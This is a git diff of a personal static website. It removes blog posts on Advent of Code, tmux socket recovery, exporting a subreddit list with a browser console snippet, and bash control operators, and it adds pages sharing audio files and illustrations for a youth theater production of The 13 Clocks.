Thanks for reading folks. I hope you've gained new insight on programming
challenges and have learned a thing or two. I'll see you on the 1st of December
for the next [Advent of Code][aoc]!
[aoc-2020]: https://adventofcode.com/2020/
[aoc-leaderboard]: https://adventofcode.com/2020/leaderboard
[aoc-megathread]: https://www.reddit.com/r/adventofcode/wiki/solution_megathreads#wiki_december_2020
[aoc-stats]: https://adventofcode.com/2020/stats
[aoc]: https://adventofcode.com/
[bitwise-rotate]: https://en.wikipedia.org/wiki/Bitwise_operation#bit_rotation
[cargo-config]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day23b/.cargo/config
[cgol]: https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life
[crt]: https://en.wikipedia.org/wiki/Chinese_remainder_theorem
[d01p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day01b/src/main.rs#L6
[d01p2]: https://adventofcode.com/2020/day/1#part2
[d02p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day02b/src/main.rs#L16-L35
[d06p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day06a/src/main.rs#L9-L10
[d06p1]: https://adventofcode.com/2020/day/6
[d06p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/f41a0bdbce584cf160800dbebb5c49ee3023a592/day06b/src/main.rs#L8-L10
[d06p2]: https://adventofcode.com/2020/day/6#part2
[d09p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day09b/src/main.rs#L9-L20
[d09p2]: https://adventofcode.com/2020/day/9#part2
[d10p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day10b/src/main.rs#L13-L20
[d10p2]: https://adventofcode.com/2020/day/10#part2
[d11p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day11a/src/main.rs#L38-L54
[d11p1]: https://adventofcode.com/2020/day/11
[d11p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day11b/src/main.rs#L28-L39
[d11p2]: https://adventofcode.com/2020/day/11#part2
[d12p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day12a/src/main.rs#L12-L18
[d12p1]: https://adventofcode.com/2020/day/12
[d13p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day13b/src/main.rs
[d13p2]: https://adventofcode.com/2020/day/13#part2
[d14p1]: https://adventofcode.com/2020/day/14
[d14p2]: https://adventofcode.com/2020/day/14#part2
[d15p2-code-stack]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day15b/src/main.rs#L15
[d15p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day15b/src/main.rs#L13-L36
[d15p2]: https://adventofcode.com/2020/day/15#part2
[d17p1]: https://adventofcode.com/2020/day/17
[d17p2]: https://adventofcode.com/2020/day/17#part2
[d18p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day18a/src/main.rs#L15-L32
[d20p1]: https://adventofcode.com/2020/day/20
[d20p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day20b/src/main.rs
[d20p2]: https://adventofcode.com/2020/day/20#part2
[d23p1]: https://adventofcode.com/2020/day/23
[d23p2-code-list]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day23b/src/main.rs#L10-L18
[d23p2-code-pointers]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day23b/src/main.rs#L37-L39
[d23p2]: https://adventofcode.com/2020/day/23#part2
[d24p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day24a/src/main.rs#L11-L17
[d24p1]: https://adventofcode.com/2020/day/24
[d24p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day24b/src/main.rs#L30-L45
[d24p2]: https://adventofcode.com/2020/day/24#part2
[d25p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day25a/src/main.rs#L8-L21
[d25p1]: https://adventofcode.com/2020/day/25
[include_bytes]: https://doc.rust-lang.org/std/macro.include_bytes.html
[include_str]: https://doc.rust-lang.org/std/macro.include_str.html
[inline]: https://doc.rust-lang.org/reference/attributes/codegen.html#the-inline-attribute
[inspired-by]: https://www.forrestthewoods.com/blog/solving-advent-of-code-in-under-a-second/
[linked-list]: https://en.wikipedia.org/wiki/Linked_list
[nom]: https://github.com/Geal/nom
[runner-jobs]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/runner/src/lib.rs
[runner-par]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/runner/src/bin/runner-par.rs#L14
[runner]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/runner/src/bin/runner.rs#L5
[rust]: https://www.rust-lang.org/
[source]: https://github.com/timvisee/advent-of-code-2020
[sparse-array]: https://en.wikipedia.org/wiki/Sparse_array
[timings]: https://github.com/timvisee/advent-of-code-2020#timings
[vectorization]: https://en.wikipedia.org/wiki/Automatic_vectorization

View File

@ -1,62 +0,0 @@
+++
title = "Reconnect to broken tmux session"
description = "Reconnect to a running tmux session, that tmux fails to connect to."
[taxonomies]
categories = ["guide", "blog"]
tags = ["tmux"]
[extra]
zenn_applause = true
+++
Ever tried to attach to a running tmux session, only to find that that fails?
```bash
tmux attach
# no sessions
tmux ls
# error connecting to /tmp/tmux-1000/default (No such file or directory)
```
Even though you're sure tmux is running fine, it shows up as running in your
task manager after all.
_So, where are your precious tmux sessions?_
<!-- more -->
## Socket file
All your tmux sessions are hosted by a single tmux process. This is persistent
and keeps running until you quit all sessions again.
The process creates a socket file, other processes use this to talk to it. When
you invoke `tmux attach`, the program finds this socket and attaches to it
through the socket.
Now, what happens when you delete this file? Exactly, your `tmux` command doesn't
know how to connect to the running server. That's what we're seeing here.
## Recreate socket
Because others had the same issue, tmux provides a feature to fix this. When you
send the `SIGUSR1` signal to the host process, it creates a fresh socket file
for you.
For this, you need to find the PID of the running tmux server. Find it through
your task manager, or invoke the following command to find the PID of the oldest
running tmux process:
```bash
pgrep --oldest tmux
# 5612
```
For me it was `5612`, so I invoke the following and attach it again (be sure to
use your own PID):
```bash
sudo kill -SIGUSR1 5612
tmux attach
```
Happy hacking!

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

View File

@ -1,70 +0,0 @@
+++
title = "List & export your subreddits"
description = "A script to help you make a list and export all subreddits you joined."
[taxonomies]
categories = ["guide", "blog"]
tags = ["reddit", "snippet"]
[extra]
zenn_applause = true
+++
{{ fit_image(path="blog/2021-03-01_list-export-your-subreddits/header.png", url="/blog/list-export-your-subreddits/header.png") }}
The last few years I've been wanting to export the list of subreddits I joined.
It's fun to share with friends having a similar interest,
as I've collected many gems throughout the years.
To achieve this I've set-up a simple script.
It exports your subreddits to a plain text list.
<!-- more -->
## How to export
1. Visit [old.reddit.com/subreddits/mine][list] in a desktop browser,
make sure you're logged in.
2. On that page, [open][developer-tools] your browser developer tools (Keybind: _Ctrl+Shift+I_).
3. In the developer tools panel, open the **Console** tab.
4. Copy-and-paste the following snippet into the console, press _Enter_ to run it:
```javascript
$('body').replaceWith('<body>'+$('.subscription-box').find('li').find('a.title').map((_, d) => $(d).text()).get().join("<br>")+'</body>');javascript.void()
```
5. Your full list of subreddits will appear on the webpage.
[Here][mine] is mine.
<br>
<details>
<summary>Tap here if you're a nerd.</summary>
## For nerds
Here is the above snippet, expanded:
```javascript
// Pluck list of subreddits from page, build plain text list
var subs = $('.subscription-box')
.find('li')
.find('a.title')
.map((_, d) => $(d).text())
.get()
.join("<br>");
// Put list of subreddits on page
$('body').replaceWith('<body>' + subs +'</body>');
javascript.void()
```
Your complete list of subreddits is located in the sidebar on [that][list] page.
The script plucks your list of reddits from this sidebar and puts it in an array.
Then the array is imploded in a string to show on the page.
Super simple.
</details>
[developer-tools]: https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools#How_to_open_the_devtools_in_your_browser
[list]: https://old.reddit.com/subreddits/mine
[mine]: https://gist.github.com/timvisee/5af8d219d0a88740cdac2351f2f77247
[reddit]: https://reddit.com/

View File

@ -1,201 +0,0 @@
+++
title = "Elegant bash conditionals"
description = "How to write better bash scripts by replacing if-statements with something much more elegant"
[taxonomies]
categories = ["blog"]
tags = ["bash", "shell"]
[extra]
toc = true
zenn_applause = true
comments = [
{url = "https://news.ycombinator.com/item?id=26314489", name = "Hacker News"},
{url = "https://www.reddit.com/r/linux/comments/lw0ofg/elegant_bash_conditionals/", name = "Reddit"},
{url = "https://lobste.rs/s/nao13f/elegant_bash_conditionals", name = "Lobsters"},
{url = "https://mastodon.social/@timvisee/105820152436436465", name = "Mastodon"},
]
+++
The if-statement is a very basic thing, not just in bash, but in all of programming.
I see them used quite a lot in shell scripts,
even though in many cases they can be replaced with something much more elegant.
In this rather short article, I'll show how control operators can be used
instead.
Many probably know about this, but don't realize how to use them nicely.
This will help you write cleaner shell scripts in the future.
Here is what a simple if-statements looks like in bash:
```bash
if [ expression ]
then
command
fi
# or
if [ expression ]; then command; fi
```
Ughh. Let's improve!
<!-- more -->
## Control operators
Bash provides [control operators][control-operators] to build sequences of
commands.
Some of these are conditional and allow logical branching based on the success
state of the last run command.
We will just focus on these two logical operators:
- `&&`: the AND operator, run the following command only if previous succeeded
- `||`: the OR operator, run the following command only if previous failed
## Exit codes
You might wonder how bash considers whether a command succeeded.
This is where [exit codes][exit-status] come in.
When a program exits a numeric status code is returned.
A value of `0` means the program succeeded, any other value means it failed.
The exit code is normally hidden.
The status of the last run command is stored in the `?` variable.
You may inspect it by invoking:
```bash
echo $?
```
E.g., listing with `ls` normally returns `0`, but this value differs if the
directory doesn't exist or if an error occurred.
```bash
ls ~/ # exit code: 0
ls ~/nonexistent # exit code: 2
```
This will function similarly to almost any program.
## Chaining commands
Let's go over some examples to show how these control operators can be used.
Imagine you want to [source][bash-source] the `~/.profile` file, but only if it
is readable:
```bash
if [ -r ~/.profile ]; then
source ~/.profile
fi
```
We can simplify this using control operators:
```bash
[ -r ~/.profile ] && . ~/.profile
```
Only if the readability check expression is truthful/succeeds, we want to source
the file, so we use the `&&` operator.
<br>
To require invoking user to be root, we can do the following:
```bash
[ $EUID -ne 0 ] && echo You must be root && exit 1
```
The `echo` command exists with `0`, so this propagates to `exit` if the
first expression is truthful.
<br>
If we'd like to print our profile file contents with a success message,
or an error message on reading failure, we can do the following:
```bash
cat ~/.profile && echo This is your profile || echo Failed to read profile
```
<br>
You can make these command sequences as long as you want. Useful for
building install scripts that go through a series of steps. You could define
bash functions for each step and orchestrate the installation like this:
```bash
init && configure && install && cleanup || echo Install failed
```
Or format it differently to make long sequences better readable:
```bash
init &&
configure &&
install &&
cleanup ||
echo Install failed
```
## Nice to know
There are [many][bash-control-operators] more control operators,
including list terminators, pipe operators, and others.
The `[` (commonly used in if-statements) isn't just a shell feature.
It is a binary on Unix-like systems, usually located at `/usr/bin/[`,
so it can be used anywhere.
It returns the exit code `0` if the expression was truthful.
You can chain multiple `[ expr ] && [ expr ]` expressions together, they are
commands after all.
Bash also has `[[`, which is
[different](https://stackoverflow.com/q/13542832/1000145) from `[`.
You can wrap multiple commands with `{ expr; }` to run it as single expression in
your command chain. For example:
```bash
[ $EUID -ne 0 ] && { echo You must be root; exit 1; }
```
The `true` and `false` commands do nothing more than returning `0` or `1`.
Bash features [parameter expression][bash-param-exp].
You can use `${EDITOR:=nvim}` to set the `EDITOR` variable to `nvim` only if
it is empty, so you won't even need conditionals.
Most other shells support similar operators. [fish][fish] uses `; and` and `;
or`, but now [supports][fish-and-and] `&&` and `||` as well in modern versions.
`$_` (or `Alt+.`) is your last used argument (noted by [@Diti](https://lobste.rs/s/nao13f/elegant_bash_conditionals#c_brp038)).
For example:
```bash
test -f "FILE" && source "$_" || echo "$_ does not exist" >&2
```
A function or script returns the exit code of the last expression. If your last
expression is a command chain as described in this article, you might have an
unexpected exit code. See
[this](https://www.reddit.com/r/linux/comments/lw0ofg/elegant_bash_conditionals/gpf1lr0/)
comments.
## Closing thoughts
These command sequences with control operators are an elegant alternative for
simple if-statements. I think they look much better and are more expressive
looking at conditional logic.
But, don't overuse them. For bigger statements or advanced branching, you should
fall back to if-statements.
I hope this article motivates you to make your shell scripts a little more
elegant in the future by using these operators.
[bash-control-operators]: https://unix.stackexchange.com/a/159514/61092
[bash-source]: https://bash.cyberciti.biz/guide/Source_command
[bash-param-exp]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html#Shell-Parameter-Expansion
[control-operators]: https://www.gnu.org/software/bash/manual/html_node/Definitions.html#Definitions
[exit-status]: https://en.wikipedia.org/wiki/Exit_status
[fish]: https://fishshell.com/
[fish-and-and]: https://github.com/fish-shell/fish-shell/issues/4620

View File

@ -8,10 +8,14 @@ zenn_hide_header_meta = true
You'll need to look for updates about the project over on [Blube Chat][chat].
To download an editable version of the script, click [here][script]. For a pdf script, click [here][pdfscript]. I will be changing it as we rehearse; feel free to make your own copy, format and edit as you please, take out the scenes you're not in, and print. Make sure to have it printed by our first rehearsal.
_I highly recommend that you redownload and print one of the updated scripts, either the pdf or editable version. I do not recommend using the ebook because it doesn't have my spelling corrections and formatting changes, as well as John instead of Jean and Bouf instead of Boeuf._
That's our only document for now; casting will be here soon.
To download an editable version of the script, click [here][script]. For a pdf script, click [here][pdfscript]. For an ebook version, click [here][epub]. I will be changing it as we rehearse; feel free to make your own copy, format and edit as you please, take out the scenes you're not in, and print. Make sure to have it printed by our first rehearsal.
[chat]: https://blube.club/chat
[script]: script.odt
[pdfscript]: script.pdf
Casting is [here][casting]. Cheers!
[chat]: https://satchlj.com/chat
[script]: script3.odt
[pdfscript]: script3.pdf
[epub]: script.epub
[casting]: casting.pdf

10
content/ysp.md Normal file
View File

@ -0,0 +1,10 @@
+++
title = "The Young Shakespeare Players East"
description = "I host some resources for the Young Shakespeare Players"
[extra]
zenn_hide_header_meta = true
+++
Click [here](audio) for the 13 Clocks audio files.
Click [here](img) for the original 13 Clocks illustrations by Marc Simont.

22
content/ysp/audio.md Normal file
View File

@ -0,0 +1,22 @@
+++
title = "The Young Shakespeare Players East"
description = "I host some resources for the Young Shakespeare Players"
[extra]
zenn_hide_header_meta = true
+++
## 13 Clocks Audio Files
_He will slit you from your guggle to your zatch!_
- [13 Clocks - Audio 01](01clocks.mp3)
- [13 Clocks - Audio 02](02clocks.mp3)
- [13 Clocks - Audio 03](03clocks.mp3)
- [13 Clocks - Audio 04](04clocks.mp3)
- [13 Clocks - Audio 05](05clocks.mp3)
- [13 Clocks - Audio 06](06clocks.mp3)
- [13 Clocks - Audio 07](07clocks.mp3)
- [13 Clocks - Audio 08](08clocks.mp3)
- [13 Clocks - Audio 09](09clocks.mp3)
- All audio in one zip file: [13 Clocks - Audio Zip](audio.zip)
_Audio files &copy; Richard DiPrima, Madison, Wisconsin._

42
content/ysp/img.md Normal file
View File

@ -0,0 +1,42 @@
+++
title = "Marc Simont's Illustrations for Thurber's 'The 13 Clocks'"
description = "Get a glimpse of the Golux's indescribable hat"
[taxonomies]
categories = ["gallery"]
tags = ["ysp", "shakespeare", "James Thurber", "The 13 Clocks", "literature", "theater", "art"]
[extra]
zenn_hide_header_meta = true
zenn_applause = true
+++
## Look at these gorgeous illustrations
This is a great way to get a sense of your character's appearance and physicality, as well as Thurber and Simont's aesthetic.
{{ fit_image(path="ysp/img/22clocksimg.jpg", url="/ysp/img/22clocksimg.jpg") }}
{{ fit_image(path="ysp/img/23clocksimg.jpg", url="/ysp/img/23clocksimg.jpg") }}
{{ fit_image(path="ysp/img/0clocksimg.jpg", url="/ysp/img/0clocksimg.jpg") }}
{{ fit_image(path="ysp/img/1clocksimg.jpg", url="/ysp/img/1clocksimg.jpg") }}
{{ fit_image(path="ysp/img/2clocksimg.jpg", url="/ysp/img/2clocksimg.jpg") }}
{{ fit_image(path="ysp/img/3clocksimg.jpg", url="/ysp/img/3clocksimg.jpg") }}
{{ fit_image(path="ysp/img/4clocksimg.jpg", url="/ysp/img/4clocksimg.jpg") }}
{{ fit_image(path="ysp/img/5clocksimg.jpg", url="/ysp/img/5clocksimg.jpg") }}
{{ fit_image(path="ysp/img/6clocksimg.jpg", url="/ysp/img/6clocksimg.jpg") }}
{{ fit_image(path="ysp/img/7clocksimg.jpg", url="/ysp/img/7clocksimg.jpg") }}
{{ fit_image(path="ysp/img/8clocksimg.jpg", url="/ysp/img/8clocksimg.jpg") }}
{{ fit_image(path="ysp/img/9clocksimg.jpg", url="/ysp/img/9clocksimg.jpg") }}
{{ fit_image(path="ysp/img/10clocksimg.jpg", url="/ysp/img/10clocksimg.jpg") }}
{{ fit_image(path="ysp/img/11clocksimg.jpg", url="/ysp/img/11clocksimg.jpg") }}
{{ fit_image(path="ysp/img/12clocksimg.jpg", url="/ysp/img/12clocksimg.jpg") }}
{{ fit_image(path="ysp/img/13clocksimg.jpg", url="/ysp/img/13clocksimg.jpg") }}
{{ fit_image(path="ysp/img/14clocksimg.jpg", url="/ysp/img/14clocksimg.jpg") }}
{{ fit_image(path="ysp/img/15clocksimg.jpg", url="/ysp/img/15clocksimg.jpg") }}
{{ fit_image(path="ysp/img/16clocksimg.jpg", url="/ysp/img/16clocksimg.jpg") }}
{{ fit_image(path="ysp/img/17clocksimg.jpg", url="/ysp/img/17clocksimg.jpg") }}
{{ fit_image(path="ysp/img/18clocksimg.jpg", url="/ysp/img/18clocksimg.jpg") }}
{{ fit_image(path="ysp/img/19clocksimg.jpg", url="/ysp/img/19clocksimg.jpg") }}
{{ fit_image(path="ysp/img/20clocksimg.jpg", url="/ysp/img/20clocksimg.jpg") }}
{{ fit_image(path="ysp/img/21clocksimg.jpg", url="/ysp/img/21clocksimg.jpg") }}
{{ fit_image(path="ysp/img/24clocksimg.jpg", url="/ysp/img/24clocksimg.jpg") }}
{{ fit_image(path="ysp/img/25clocksimg.jpg", url="/ysp/img/25clocksimg.jpg") }}
{{ fit_image(path="ysp/img/26clocksimg.jpg", url="/ysp/img/26clocksimg.jpg") }}
{{ fit_image(path="ysp/img/27clocksimg.jpg", url="/ysp/img/27clocksimg.jpg") }}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
static/ysp/audio/audio.zip Normal file

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 119 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 164 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 128 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 218 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 127 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 98 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 124 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 131 KiB